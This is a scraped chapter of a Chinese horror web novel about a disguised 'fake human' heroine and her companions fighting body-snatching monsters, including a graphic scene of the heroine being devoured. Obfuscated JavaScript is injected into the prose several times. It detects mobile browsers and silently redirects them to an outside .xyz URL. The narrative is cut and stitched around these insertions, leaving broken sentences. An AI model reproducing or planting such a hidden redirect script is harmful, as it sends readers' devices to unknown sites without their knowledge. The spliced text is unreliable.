两人一前一后,一扇扇打开隔断的门。 一间、两间、三间…… 细微的脚步声在空间里回荡,老化的门轴吱嘎作响,像是在敲响死亡的倒计时。 伪人们并不着急,闲庭信步般推开了所有的门,但很快,它们愣住了。 室内的东西还算不少。还没来得及清理的呕吐物,泛着红褐色的干涸血迹,还有死不瞑目的光头。 唯独没有它们要找的人。 仅有一墙之隔的房间内,宁筠将不省人事的红毛放下,反锁了门和窗户,与齐荦荦一起搬动桌椅,堵住门口。 做完这一切后,宁筠靠在椅子旁,擦拭着枪口。 如果伪人突破了这道门,她有八成的把握将其击毙。 “yue……” 红毛咳嗽了几声,悠悠转醒,在看清宁筠几人后,才略带疑惑地开口:“刘石呢?” 宁筠:“你说矮子?死了。” 他一愣,刚想发作,看到宁筠手上的真理后又缩了回来。默默地用颤抖的手,从衣兜里翻出了一张信封。 “这是他要交给父母的信。”红毛哽咽着说,“他说,他说有钱了,就给父母换一套大房子。” 红毛想展开信封,但奈何指尖抖得太厉害,无论怎么撕,都撕不开信封上的封蜡。他低声呜咽着,将浸湿的信封摔到了地上。 齐荦荦捡起信封,递给了他。 “我其实不太能理解你的心情。”齐荦荦说,“但他是死于伪人手下,你可以给他报仇。” 话音刚落,宁筠低声说,“别说话,它们在门口。” 房间里没开灯,暖黄色的光从门缝透出,本该是醉生梦死的暧昧气氛,却被两道阴影破坏得一干二净。 伪人站在门口,不知道偷听多久了。 “砰——” 门猛地一颤,桌椅摇晃了两下,扑簌扑簌地掉着灰尘。与此同时,宁筠举起了枪,对准门口。 伪人的恐怖之处在于“隐于人群”,而暴露的伪人并不可怕。 但她总觉得有哪里不对劲。 齐荦荦和红毛压着桌椅,将裂开一条缝隙的门关上,门外的伪人面色狰狞,双手以反向弯折的姿势推着门。 宁筠瞥了一眼,突然意识到一件事。 门外只有一个伪人,另一个去哪了? 窗帘被微风吹动,影影绰绰间,似乎有什么东西在鼓动,形成了一个人的形状。 宁筠的瞳孔一缩,向着窗外开了一枪。 子弹穿过窗帘,没有预想的玻璃破碎声,而是空荡荡的,没入尘土的沉闷声。 还未等宁筠反应过来,后背突然传来一阵沉重感,紧接着,她听到了齐荦荦的惊呼。 “老板!” 枪支落在地上,双手被伪人禁锢,黏腻的声音在脖颈间徘徊,散发着腥臭味道。 宁筠突然意识到,这才是能将人类逼入绝境的伪人。 她咬着牙,费力地转过身来,朝着伪人踢了过去。无论如何,她也不想被伪人吃掉,让伪人披着自己的皮囊活下去。 意料之外的是,她挣脱得很轻松,踹得也很轻松。对方甚至没有什么挣扎,就任她反击。 在那个瞬间,宁筠从伪人面无表情的脸上,看到了茫然和疑惑。 “砰。” 茫然定格在伪人的脸上,它微微张开的嘴僵住,连着脖子一起被甩到了半米远。 红毛喘着粗气,手中的枪在颤抖,细小的烟自枪口冒出。 半响后,挣扎的伪人没了动静。 “干得漂——” 宁筠话音未落,就看到红毛丢下了枪,扑向伪人,抱着它的头嚎啕大哭。 没出息。 宁筠嫌弃地绕过他,捡起枪,对着齐荦荦说:“不用坚持了,让它进来。” 说完,将枪口对准大门。 门外的伪人一无所觉,椅子摇晃得愈加剧烈,直到再也承受不住伪人的力量,向下倒塌。 一声枪响,贯穿了门口的伪人,它的脸上还残留着笑意,似乎对自己的胸口中枪毫无所觉。 宁筠又补了两枪。 伪人歪歪斜斜,终于意识到自己中了枪。 直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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宁筠明明记得,光头是左半身没入池子,右手搭在地面,上面有一根手指上戴着枚戒指。 现在光头的手上什么都没有,像是她的错觉一般。 没过多久,红毛的身影从山脚下回来,踉踉跄跄地拖着什么。 宁筠没想到,红毛居然能找到尸体,于是将光头的尸体拖来,摆在了一起。 挖的坑刚好能装下两人,随手从山脚下找来的石头,上面歪歪斜斜刻了几个字,算作墓碑,立在头上。 红毛的眼睛是红的,在墓前磕了几个头,烧了些衣服,也算是入土为安了。 今天发生的事太多,宁筠无暇顾及卫生间的残留,收拾了一番,给红毛空出个房间来,就躺在了床上。 反正卫生间不卫生,也是公认的事情。 宁筠入睡前,迷迷糊糊地想着。如果杀死光头的是矮子,那么杀死矮子的是谁? 她猛地睁开眼睛。 天空泛着蒙蒙亮光,清晨的雾气朦胧,而宁筠的记忆,还停留在昨晚上想的那件事。 杀死矮子的是谁? 待到清晨的雾气散尽,院子外的一棵歪脖子树下,挂着一具尸体,似乎是被人做了处理,脸正对着宁筠的窗户。 是光头的脸。 她又想起一件事。 化为矮子的伪人,在死后的一段时间内变回了原型,而光头没有,他从始至终保持着光头的模样,未曾变化。 也就是说,光头并不是伪人。 那么又是谁将光头的尸体挂出来的? 6. 酒馆 宁筠不大死心,匆匆套了件衣服,就下了楼。 碰巧经过红毛的房间,红毛一脸的疲惫,看上去一夜未睡。他打了个哈欠,说:“大佬你回来了,大早上就听到你窸窸窣窣的声音,弄什么呢?” 窸窸窣窣的声音? 她透过红毛看了眼窗外,窗户被浓郁的树荫遮挡,能看到的东西很有限,至少没办法看到光头的尸体。 “不是你,那是谁?”红毛看到同样疑惑的宁筠,有些慌了,“早上三四点钟,我听得清清楚楚,像是有什么东西从这里滑过去……” “滑”可以引意为很多种,蛇行走的声音,有人拖着东西的声音,又或者,有什么大型物种爬行的声音。 而这里有什么? 有伪人。 红毛也察觉到了不对,脸色霎时白了几分,腿又要开始打颤。 宁筠安慰他说:“昨天没动手,说明这里有它们忌惮的东西,” 她们目前大概率是安全的。 也不知红毛脑补了什么,两条腿就顺着墙滑了下去。 “你们在聊什……唉?”齐荦荦从楼梯口的转角下来,就看到红毛对着齐荦荦,结结实实地跪了个大的。 红毛咽了下口水,“那今早出事了,是不是说明,今天他们就不忌惮这些东西了?” 宁筠:“……” 宁筠转头就走。 她就多余跟这个250解释这些。 不管两人看到的和听到的有多么邪,但站在树下后,都不由自主地沉默了。 树上什么都没有,枝头空荡荡,风一吹,就“啪嗒”掉在了地上,然后被什么东西卷着,不见了踪影。 “也许是你们看错了?”齐荦荦问。 宁筠目光扫过地面上的草坪,没吭声,蹲下身来按压着。 “有痕迹,确实有东西来过了。”宁筠揪起弯折的小草,递给两个人看。 草叶上还沾着晨露,混合着碧绿色的汁水。宁筠在附近翻找,果然找到了一根绳子,还有一条疑似爬行的蜿蜒痕迹。 三人一路顺着痕迹向前,直到尽头。 是座枯坟。 准确说,是他们昨天刚埋上的新坟,上面歪歪曲曲的写着几个字:“韩将、刘石之墓。” 痕迹就是从墓边开始蜿蜒,直到那颗树下。 红毛将头缩进宁筠的身后,惊恐地问:“诈尸了?” 齐荦荦被他说得有些毛,没好气地拍了他一巴掌,“别在坟前说这个,不吉利。” 吉不吉利的,宁筠不清楚,但以现场来看,属实不像诈尸。坟堆没有被动过的痕迹,也没有泥土翻开的痕迹。一切都很平静。 宁筠找来了铲子,三人一人一把。 “对不起了兄弟,等会再让你入土为安。”红毛朝着墓碑鞠躬后,一铲子挖了下去。 昨日三人埋得匆匆忙忙,也没挖多大的坑,今天再挖时也省了些力气。 很快就见了底,铲子敲击到一个硬硬的,沉闷的东西。几人匆忙扒拉土块,一个简易的棺材就出现在众人眼前。 “没诈尸,那是谁爬出来了?”齐荦荦问。 没人能回答她。 鉴于酒馆没有木材,宁筠就找来几个玻璃板,充当棺材。透过透明的玻璃板,光头和矮子背对着背,暴露在外的皮肤已经开始腐烂了。 气味有些难闻,宁筠偏开了头,正打算找点什么捂住鼻子,却恍然觉得有些不对。 就好像有什么人,一直在暗处盯着他们。 她似有所感,转头看向了别墅。 前天见到的伪人正站在窗前,不紧不慢地对她打了个招呼,然后消失在房间里。 很明显,吊在树上的光头是伪人。 在弄清这一个事实之后,宁筠立马转身跑向树下。 红毛还在不明所以,“你干嘛去?我兄弟不入土为安了吗?” 宁筠没理他,齐荦荦也撂下了铲子。红毛本来也打算跟上去,但看到暴露在阳光之下的兄弟,匆匆忙忙又添了几铲子,才边跑边喊道:“等等我!” 树下的那截绳子还待在原地,宁筠拿起绳子,仔细端详。 “绳子有什么特殊的吗?”齐荦荦问。 “绳子不特殊,但作用特殊。”宁筠捏着绳子,说:“有些钓鱼爱好者,会用绳子来固定渔网。” 绳子的边缘有些潮湿,散发着一股水腥味,像是刚被人从水里打捞上来,还未退休时就迎来了二次就业。 别墅群紧靠湖面,不乏有些钓鱼爱好者来这里钓鱼。 齐荦荦忽然开口:“我记得有一栋别墅前,好像有渔网和鱼竿来着。”她环伺了一圈,然后指着其中一栋别墅说,“就是那栋。” 宁筠顺着她的视线望过去,头有些疼,不为其他,刚刚别墅的主人还跟她打了个招呼。 看来无论如何,这个别墅是避不开了。 “那我们去看看?”齐荦荦问。 看什么看,她一个人不可能保住两个人。宁筠心想。 “我去看看,你们在这里别动。”宁筠说完,起身向着别墅迈去。 别墅共有四层,围着铁栅栏,上面没有被荒草覆盖的痕迹,绿化带像是有人刚修剪不久,整整齐齐地排列着。 宁筠路过渔具,在别墅左绕三圈,右绕三圈,奈何窗户关得死紧,没找到一点能进去的缝隙。 大意了。 就在宁筠打算直接闯进去时,别墅的大门开了。 “这绝对是陷阱!咱不能进啊!”红毛在后面焦急地喊着。 宁筠没理会,一脚踏入。 伪人似乎是个道德感极高的生物。这种道德感仅针对于同类,比如列车上的伪人,又比如昨天的伪人,还有今天向她打招呼的伪人。 她隐隐约约觉得,这只伪人没有伤害她的意图。 房子里面空荡荡的,没什么活物。 倒是隔音不错,红毛又唠唠叨叨了什么,被房子隔开80%,以至于她只能听到模模糊糊的讲话声,却又不知道在讲什么。 她凝神听了一阵,发现声音并不来源红毛,而是在二楼的某个房间。 别墅的构造与酒馆差不多,一楼的客厅就是酒馆的店面,宁筠顺着楼梯向上,果然在其中一处房间看到了两个伪人。 一个是和她打招呼的伪人,另一个是光头。 光头跪在地上,任凭伪人摸他的头,末了还低声道歉:“对不起,我下次再也不玩荡秋千了。” “主要是别拿头荡,万一头甩丢了怎么办?”伪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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它又露出了极为怪异的笑,“那没办法了,你可以出去看看,他们是否还活着——” “砰——” 一颗子弹打碎了完好的窗户,随后直直贯穿在面前伪人的脑门上,紧接着第二颗子弹飞了过来,以同样的位置杀死了光头。 死了? 伪人们的模样快速变化,整张脸开始扭曲,无数波纹在皮肉上绽放。 外面的人活未活着不清楚,但面前的两个伪人不大像是在活着。 宁筠默默放下准备掏出的枪,替它们默哀两秒,刚欲起身,一发子弹穿堂而过,落入身后的门框。 如果不是宁筠突发奇想地为它们默哀两秒,恐怕已经被一颗子弹送走了。 玻璃被打碎,说话的声音也得以清晰。 “别怕,我会清理掉伪人,保护你们安全的。” 红毛惊喜的声音传来:“恩人啊,你一定要救我朋友出来!” “你放心,还有最后一个。”是陌生的青年女性声音。 宁筠:? 她果然和猎人有仇。 宁筠蹲着身子,在下一发子弹到来之前,从楼梯口迅速逃脱,跳到一楼的客厅。 就在她踏出门口的那一刻,她猛然看到了草丛中冰冷的枪,泛着金属光泽的枪口正对着她,蓄势待发。 7. 酒馆 风水轮流转。 昨天的她手持枪械,威风凛凛。今天的她双手向上,原地投降。 众所周知,在战场上敌军缴械投降,就属于战俘。如果对方讲武德,自己就能保住一条小命。 但对方似乎不想讲武德。 猎人不仅没有放下枪,反而因为这个动作,直接拉动了保险栓。 凭借着极好的视力,她看到猎人的枪口向下移动了几分,停留在她的脖颈处。 本能的危机感作祟,心跳如脱缰的野马般横冲直撞,指尖又在颤抖了,但她的大脑却冷静了下来。 “我是人。”宁筠说。 猎人的手没动。 “我刚刚在上面和伪人谈判,他们希望我们人类能被饲养。”宁筠又说。 猎人的眉心蹙了一下。 “最后,我觉得我们应该放下对彼此的偏见,去找找另外两个人。” 猎人一愣,终于意识到了不对。 两分钟前,齐荦荦两人还和猎人有说有笑,而现在,他们已经很久没出过声了。 这里的伪人能悄无声息地拐走两人,猎人简直闻所未闻。 “什么时候?” 宁筠绷着脸说:“在我下楼时就没看到了,我还以为他们在我视野之外。” 虽然宁筠只是在回答她的问题,但猎人还是敏锐地察觉到了她的言外之意。 你怎么连人都看不住? 猎人脸都快木了。 迟疑了片刻,猎人还是打算在附近找找。 伪人也是人,总不能隔空偷人吧。 十月的深秋总是刮着风,短短一会又起了风。修剪整齐的绿化带也稍稍晃了几下,在浓密交错的阴影中,似乎有什么在顺着相反的方向蠕动。 宁筠直接抬起手,对着阴影开了一枪。 枪声惊得百鸟齐飞,也惊到了绿化带里的东西。宁筠又补了几枪,鲜红的液体就顺着枝条侵染了绿叶。 “唔……” 是红毛的声音。 绿化带里传来打斗声,红毛似乎在挣脱着什么,大喊道:“快来,我抓到它了!” 宁筠听到声音后就向着那边走去,猎人一把抓住了她。 猎人面色凝重,“我相信你是人了,但——”她瞥了眼声音的来源,“那东西不一定是。” “有些伪人会模仿朋友的声音,设下陷阱捕猎人类。” 话音刚落,红毛的声音消失了,空气里陷入一片诡异的寂静。 宁筠挣脱猎人的手,心想我又不是人,陷阱对我有什么用,然后直接向着绿化带走去。 对于她来说,伪人只是愚蠢的无威胁生物,比她要呆上三个档次的那种。 果不其然,在她越过绿化带之后,那位伪人捧着头,张开了极大的嘴巴,却在触碰宁筠时,下意识地停顿了一下。 宁筠毫不客气,掐着它的脖子,干净利落地解决掉。 经过几天的实战摸索,宁筠发觉伪人的致命点在脖子以上,只要断了脖子,再厉害的伪人也会瞬间断气。 伪人既然能模仿出红毛的声音,就证明红毛应该在附近。 宁筠稍稍偏头,几乎没费力就找到了红毛。 此时的红毛被五花大绑,早就不省人事了。 宁筠上前试探了下,还有些微弱的鼻息,便把他拖出来,毫不客气地扇了两巴掌。 “扇你大爷——” 红毛看清面前的人,话到嘴边直接拐了个弯,“——的手痛不痛?” 还行。 宁筠收回手,示意他自己躲远点。 在接下来的几分钟,宁筠揪出来七八个蹲在绿化带附近的伪人,一一消灭掉。 至于猎人…… 猎人已经看呆了。 她很久没见过这么凶残的人了。 尤其是宁筠面无表情的样子,仿佛是个杀神,手撕鬼子的那种。 让猎人在这一时刻想到了一个人。 沈枫。 沈枫是她的同期,但同样作为猎人,沈枫却比她强上了太多。 那时的伪人比现在更加呆板,更加不像人,猎人却还是下不去手。 或许是那些伪人长着昔日同伴的脸,又或许是它们的行为,让人联想到已逝的故人,猎人在第一次接触到伪人时,很没出息地哭了。 但沈枫是个例外,无论伪人长成什么模样,他都能面无表情地下手,清理掉他视野中所有疑似伪人的人。 甚至越线完成了本该属于她的任务——杀掉她的固定搭档。 那次外出结束后,猎人问沈枫:“你为什么可以下得去手?” 她还记得,沈枫声音很淡,像是在说什么微不足道的小事:“为什么下不去手?” 冷酷的不像个人类。 但在这样的末世之中,反而是这样的人活得最好。 在猎人眼里,宁筠的背影与沈枫重叠,直到两者融为一体。 等她回过神时,自己的脚下掉了一堆子弹壳。 猎人游荡在外多年,没想到碰到宁筠后,居然有种精神矍铄的感觉。 宁筠将最后一只伪人解决掉,唤醒从伪人手里抢来的齐荦荦,一转头,就看到猎人看她的眼神有些奇怪。 也不知道是激动还是因为什么,看起来要哭了。 “你为什么可以下得去手?”猎人问。 宁筠的神色很奇怪,“为什么下不去手?” 和当年一样的回答,猎人不记得自己当时是什么心情了,只记得那时天空阴沉沉的,随时可能会压下来。 现在的她再抬头看了看,晴的,甚至明媚得过分。 猎人问道:“万一他不是伪人呢?” 也不知道是在问她,还是在问自己。 不少猎人外出猎杀伪人时,杀来杀去,最后连是不是自己的同伴都分不清了。 宁筠神色更奇怪了。 “我分得清。”宁筠想了想,又解释了一句,“可能是天赋,我不会认错伪人的。” 作为伪人还能认错同类,她可以不用活了。 四周横七竖八地躺着伪人,不止是脸上扭曲,连身上的一些器官都在变化。 比如向外翻的手掌,往外拐的胳膊,代替成为第三条腿的脚…… 最终组成了宁筠从未见过的模样。 没人知道伪人到底是什么样的生物。它们似乎突然出现在蓝星上,以混入人群,捕猎人类为食,本身的战斗力似乎并不高,一个普通的成年人也能制服三五个伪人。 就这样一个堪称脆弱的群体,却成为了爆发末世的灾难,至少不会像表面这般简单。 宁筠想着想着,却觉得有些不对劲。 “别发呆了,回酒馆啦!”齐荦荦招呼着宁筠。 微风掀起宁筠的长发,无数根发丝遮住宁筠微微失焦的瞳孔。听到了声音,她的睫毛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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伪人捕食人类的方式就是杀死人类,然后吞食掉人类的记忆,模仿人类的外表和行为。 一个伪人对应着一个人类,而十个伪人需要十个猎物才足够平均分配。如果它们是团队平等状态,最后一定会有“谁老大谁配拥有猎物”的原始行为。 齐荦荦说:“可是它们没有竞争。” “这说明它们的背后,有一个让它们服从的首领。”宁筠推开了门。 房间没什么变化,破碎的玻璃仍然漏风,两只伪人倒在血泊之中,似乎没有挪动分毫。 宁筠将枪指向其中一个伪人。 “砰砰砰。” 伪人浑身颤抖了几下,正在扭曲的脸瞬间变了状态,直到完全变为一张陌生人的脸。 “这个首领一定能观察到全局,还能全身而退。”宁筠将空了的弹夹装满,盯着“死而复生”的伪人。 那个长着光头脸的伪人。 在众人的注视下,它几乎笔直地站起身来,用漆黑不见瞳白的瞳孔注视所有人,长满了尖利牙齿的耳朵出了声:“欢迎你们来到乐园。” 随着它低沉的声音落下,地面颤动,像是有什么东西破土而出。 8. 酒馆 地震了? 宁筠心中有一股不好的预感,干净利索地掏出枪,不管有没有打中,直接顺着光头的方向攻击。 或许是震动的缘由,子弹在房间内四处乱跑,打在墙壁上、房梁上,发出沉闷的声音。 猎人反应过来,也跟着打了几枪。 但—— “你们快看楼下!”齐荦荦惊呼出声。 办公室正对着通向一楼和三楼的楼梯,盘旋在直冲房梁的柱子上,顺着围栏的缝隙向下看,黑压压的一片,正顺着柱子向上爬行。 全是伪人。 宁筠睁大了眼睛,感情别墅区的伪人都藏在这里了! 伪人爬得极快,就在几个呼吸间,楼梯间便挤满了伪人。即使被挤到掉下楼梯,也只是诡异地笑着,踩着残缺的同伴向上爬。 无数残肢断臂掉落,顺着黏腻的红白液体,将纯蓝色的柱子染成紫色。 像是地狱爬出来的恶鬼。 身后传来“噗通”一声,不用看就知道红毛已经跪了。 不需要瞄准,宁筠作为一个准度废,也能做到百发百中。 地上的弹夹空了一堆又一堆,宁筠不记得自己换过了多少弹夹,也不记得自己打了多少枪。 肩部的骨骼被震得发疼,不用看也知道皮肤紫了一片。 “那孙子到底跑哪去了?!”红毛怒吼着。 宁筠和猎人守着办公室的门口,没有武器的红毛和齐荦荦负责制服光头。 光头从伪人潮开始后就躲了起来。 两人将小小的办公室翻了三遍,连着抽屉和沙发下也没放过,光头就像凭空消失了一般,无论怎么找也找不到。 齐荦荦突然想到了自己被收养的日子。 养父母资产雄厚,家里的办公室也是类似于这样的结构,她就住在旁边,每天看着养父沉浸在办公室里,长达十几个小时。 直到某一天,齐荦荦在无意中闯入办公室内。 室内空落落的,本该在工作的养父不见了踪影,她慢慢地挪到了桌后,无意中看到了破开的墙壁,里面是个黑漆漆的通道。 养父站在通道中央,诧异地说了句:“荦荦?” “齐荦荦?” 齐荦荦猛地回神,发现红毛一副要碰她,又不敢动的样子。 “抓紧找吧。”红毛的视线放在宁筠身上,“她们快坚持不住了。” 宁筠上夹的手在颤抖,磕磕绊绊弄错了几次方向后,才勉强装上了弹夹。 一旁的猎人也好不到哪去,粗重的喘息声,脸色苍白。 伪人仍在推进,战线从楼梯口变成了走廊,直到办公室的门口。 齐荦荦深吸了口气,“我知道它跑哪里去了。” 出了通道的养父,随手在墙壁上划了一下,两段折叠墙壁就顺着轨道,严丝合缝地堵上了通道口。 养父扶了下眼镜,“你怎么会在这里?” 齐荦荦想不起来自己当时是如何回答的,她的记忆里,全被墙壁上的某处占据了。 只是一个在办公桌的斜45度角,一个特别不起眼的暗色方块。 方块…… 齐荦荦惊呼一声:“找到了!”随后一巴掌摁在方块上,向下滑动。 似乎太久没人使用机关,两块墙壁颤颤巍巍地挪动,还扑簌扑簌地掉着渣。 别墅颤抖得更加厉害了。 “你们找到暗室了?”宁筠问。 齐荦荦这才发现,宁筠距离她很近,近到只有几个呼吸的距离。 宁筠的额头上浮着密密麻麻的汗水,顺着脸颊滑到嘴边。她毫不在意地擦拭掉,俯身进了暗室,“走吧。” 临走前,齐荦荦偏头看了一眼,办公室被桌椅堵住,桌椅摇摇欲坠,无数伪人顺着桌椅的缝隙,奋力地向内挤着。 入口内的开关要比入口外好找很多,也很显眼。 伴随着轰隆隆的声音,入口的门合上了,无数盏暖黄色的烛灯亮起,挂在通道两侧,显得通道幽暗深长。 当然,回去是没法回去了。 宁筠扶着墙壁,走得踉踉跄跄。 猎人也没好到哪去,虚弱地笑了几声,“不错啊,在猎人协会训练几年了?” 宁筠呆了一下,缓缓答道:“一天?” 毕竟跑到商店装了一次大的,应该算是挂在猎人协会名下了吧? “你这倒是让我想起个人。”猎人拍了拍宁筠的肩,凑近,“你和他组队,应该很合适。” “谁?” 宁筠一向独来独往,但看猎人神秘兮兮的样子,还是吞下嘴里“不想知道”这句话,问了出来。 算是对出生入死的小伙伴,一点点耐心。 “沈枫。”猎人挤了挤眼睛,“你长得漂亮,他也好看。” 宁筠手一抖,想起了入基地那天。 晚风吹过他的帽子,有点歪,他葱白的指尖拢了下,随后漫不经心地将枪口对准她。 美丽,但致命。 再好看的罂粟花也是有毒的。 宁筠婉拒。 猎人有点失望,“啊,那可惜了,你俩明明那么相似。” 果然猎人们沆瀣一气。 宁筠没理会做出夸张表情的猎人,自顾自走着。 通道并不是直直通往某一处的,宁筠拐了个弯,刚巧碰到下坡,便顺着坡道走快一些,将猎人甩到身后。 “叮、叮、叮。” 有东西在撞击,通道间满是空洞回响。 走到一半,原本平整的路面就变得陡峭、崎岖,一不小心就会滑下,跌入看不到头的地下中去。 她们走了很久,早已超过了别墅的范围,通向不知何方的地下。 齐荦荦有点慌:“我们这是到哪里了,这地方好奇怪。” 几个人从基地长大,宁筠又是半路穿越而来,从未见过这么奇怪的东西,纷纷把头转向猎人。表情的意味很明显:“你经历丰富,一定知道是什么吧”以及“这一定是常见画面吧”之类。 猎人被盯得后背发毛,感觉自己有点喘不过来气。 她艰难地说:“我也没见过。” “叮、叮、叮。” 声音覆盖住猎人的声音,仿佛来自地下,有人用铁锤敲击着钢索的声音。 队伍又安静了下来,说不上的沉默。导致这个声音就有让人点慌,像是来到了某个收容所里的楼梯间。 红毛撑不住了,悄声问:“还没走到头吗?” 众所周知,楼梯间是走不到头的,但是会遇到别的东西。 “叮、叮、叮。” 声音再次响起,此时的声音已经变得很大了,像是隔着一层薄薄的墙壁敲击,听得人震耳欲聋。 宁筠捂住了耳朵,停下了脚步。 面前是一片宽阔的封闭空间,墙壁四周隔几米挂着一盏烛灯,烛灯照到的范围有限,中心处残留着黑魆魆的影子,像是有什么东西。 有人在那里吗? 宁筠向着黑暗处前进。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14880705|159806||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >经过这几天的行动,齐荦荦和红毛对宁筠的送死行为已经习惯了,反倒是猎人还有点不适应。 “她一向这么勇吗?” 宁筠超勇的。她已经把手放在了阴影处,并试探着摸索。 滑腻腻的,沾在指尖上会变得湿润,触感又像是一块果冻,摁压下去也是软趴趴的,也没有任何腥味。 琼脂? 宁筠眯起了眼睛,又眨了几下,浓墨般的黑暗就在她眼前又散开了些。 再次看向阴影处时,宁筠愣了一下。 伪人。 还是躺在床上不知生死的伪人。 齐荦荦三人一人拆下来一盏灯,拎着走了过来。 “这些灯靠电池发电,能拆。”齐荦荦递给了宁筠一盏。 灯光很温和,照在伪人的脸上也很安详,就像是睡了过去,又像是随时会醒来一般。 对于红毛来说不太安详,他压低声音,诧异道:“刘石?” 刘石是矮子,早就死在了酒馆里,连着模仿他的伪人也一样。 这只又是从哪来的? 猎人挑了下眉,将枪抵在伪人头上:“你朋友?”仿佛只要红毛点下头,她就立马扣下去一样。 气氛有点不对了。 红毛在其他事情上很怂,但在这件事情上出乎意料的强硬。 “如果他有攻击性,你们可以杀他。”红毛的眼眶有些发红,“但他还什么都没做,我想再看看他。” 蔚蓝色枪口在矮子的脑袋上徘徊了三圈,看得红毛大气不敢喘一口。 猎人“啧”了一声,收回了枪,一边收还一边嘟囔:“要是碰到那个人,高低把它扬了,也就我惯着你们。” “他是你什么人?”猎人又问。 “兄弟。”红毛吸了吸鼻子,“我们俩父母都死了,从小相依为命的。” 猎人“噢”了一声,“节哀。” 另一边的宁筠已经拿着灯,走遍了整个区域。 中间摆了七八个床,每个床上对应着一个伪人,和矮子一样,安静得像是睡着了。 除此之外,就剩下最中心处的一个透明圆形柱子,不知道是干什么的,像是电梯,却又没有相应的按钮。 宁筠随意将灯放在床上,绕着走了几圈。 或许会有什么新发现。 在绕到第三圈时,宁筠确实有了新发现,但不是关于柱子,而是处于灯光下的床。 躺在床上的伪人似乎不大一样了。 脸上依旧是安详的笑意,却让宁筠有一种说不出来的怪异感。 她仔细端详了好一会儿,才发现—— 伪人在她的视角里依然在笑,但只是对倒着看伪人脸的她来说。 正过来看,伪人的嘴角下撇,眉眼间下挑的尾翼在上扬,中间却凹陷了下来。 怪异到了极致。 “嗷——” 不远处的红毛突然怪叫一声,“快跑,他活了他活了!” 只见矮子颤颤巍巍地直起身,像是在模仿什么似的,也尖声叫了一句:“快跑,他活了他活了!” 是矮子的声音。 这声“他活了”,直接把在床的七八个伪人直接叫活了,纷纷凄厉尖叫着:“他活了他活了!” 活不活的宁筠不知道,她现在有点想死。 在商店购买的子弹还剩800多个,但因枪支的过度使用,导致枪口还处于过热状态。 也就是说,她现在无法用任何远程武器对付这帮伪人。 9. 酒馆 在一片混沌之中,不知道被谁拉了一把,宁筠一个踉跄,恰好躲过了伪人的攻击。 “先离开这里。”猎人拉着她,一边跑一边说。 不知是不是她的错觉,室内的灯似乎越来越亮了,微光隐隐照在床铺边缘,泛着青白色的脚腕微微抽动,看起来马上就醒来了。 宁筠摩挲着衣兜里的匕首,问:“你的枪还能用吗?” 猎人没说话,只是拉着她,顺着通道向上爬行。 身后的伪人似乎苏醒了,嘶吼着野兽般的叫声,打翻了床铺、玻璃、铁链。 他们在找人! 无论宁筠怎么向上攀爬,与伪人距离都会减少。就好像他们装了定位器,随时锁定宁筠的位置。 通道的入口还有很远的一段距离,坡度却愈发陡峭,双脚双手平齐,爬起来极为吃力。 宁筠的原身没怎么锻炼过,简简单单地爬了几步,就已经累得气喘吁吁。 “他们在上面吗?”宁筠喘着粗气问。 猎人还是沉默不语,攥着宁筠胳膊的指尖发白,白得都要泛青了。 没过多久,她像是为了安抚宁筠一样,说:“在前面。”声音短促,说到尾尖时陡然拔高,变得尖锐高亢。 宁筠向下瞥了一眼,仅仅说了几句话的功夫,通道的末端几乎可见伪人的身影。 她却觉得有哪里不对劲。 走着走着,宁筠突然踉跄了一下,顺着力道向后一扯,猎人一个踉跄,向下跌了几步,却又不管不顾地继续前行。 “不能被它们发现。”猎人转动着头颅,用同种声调对着她说。 宁筠终于知道违和感来自于哪里了。 若是在危机爆发的状态,这种尖细高昂的声音毫无问题。问题是她们已经逃命很久了,再用这种语气说话,就显得奇怪又刻意。 就像是在刻意模仿着什么似的。 宁筠摊开早已被焐热的匕首,猛地向对方发起攻击。 刀光剑影之下,猎人的手被拦腰斩断,宁筠握着匕首,正要继续攻击,突然间愣了一下。 五根手指断裂,对方居然没有回头的欲望,维持着原本的姿势,艰难爬行。 猎人声音从上面传来:“等我们跑出这里,就安全了。” 宁筠垂眸,猎人断掉的手指还牢牢固定在宁筠的胳膊上,喷涌着鲜血,顺着地面向下流淌。 猎人从什么时候变成的伪人呢? 宁筠来不及思考,身后的伪人接踵而至。 无数双苍白的手抓着宁筠的脚踝、衣服,甚至是宁筠头发,充满着臭味的嘴巴凑在宁筠的身边。 血腥气味蔓延至四周,宁筠被无数伪人包围,血液滴进了眼睛里,世界在此刻化为了鲜红色。 宁筠的胳膊被啃掉了一半,剩下模糊的血肉,腹部的肋骨上覆盖着一层絮状的血肉,很快被伪人舔舐干净了。 伪人们迫不及待地享受着她的脑子,混合着红白色的汁液,被伪人们吞到肚子下,剩下洒在地面的部分,被外围的伪人视若珍宝,一滴也不浪费。 奇怪的是,宁筠一点都不疼。 不仅不疼,还有一种奇怪的安宁感,吞噬的声音是哄睡的摇篮曲,带她进入永恒的场面之中。 ——事实上宁筠也闭上了眼睛。 宁筠弯起了眼睛,用薄薄的两层皮,含糊不清地吐出一句话:“我是伪人——” “你们吃我有用吗?” 话音落下,密密麻麻的啃噬声音消失,周围陷入一片寂静。 烛灯幽暗,几只小飞虫围绕左右,不停地发出“嗡嗡”声。 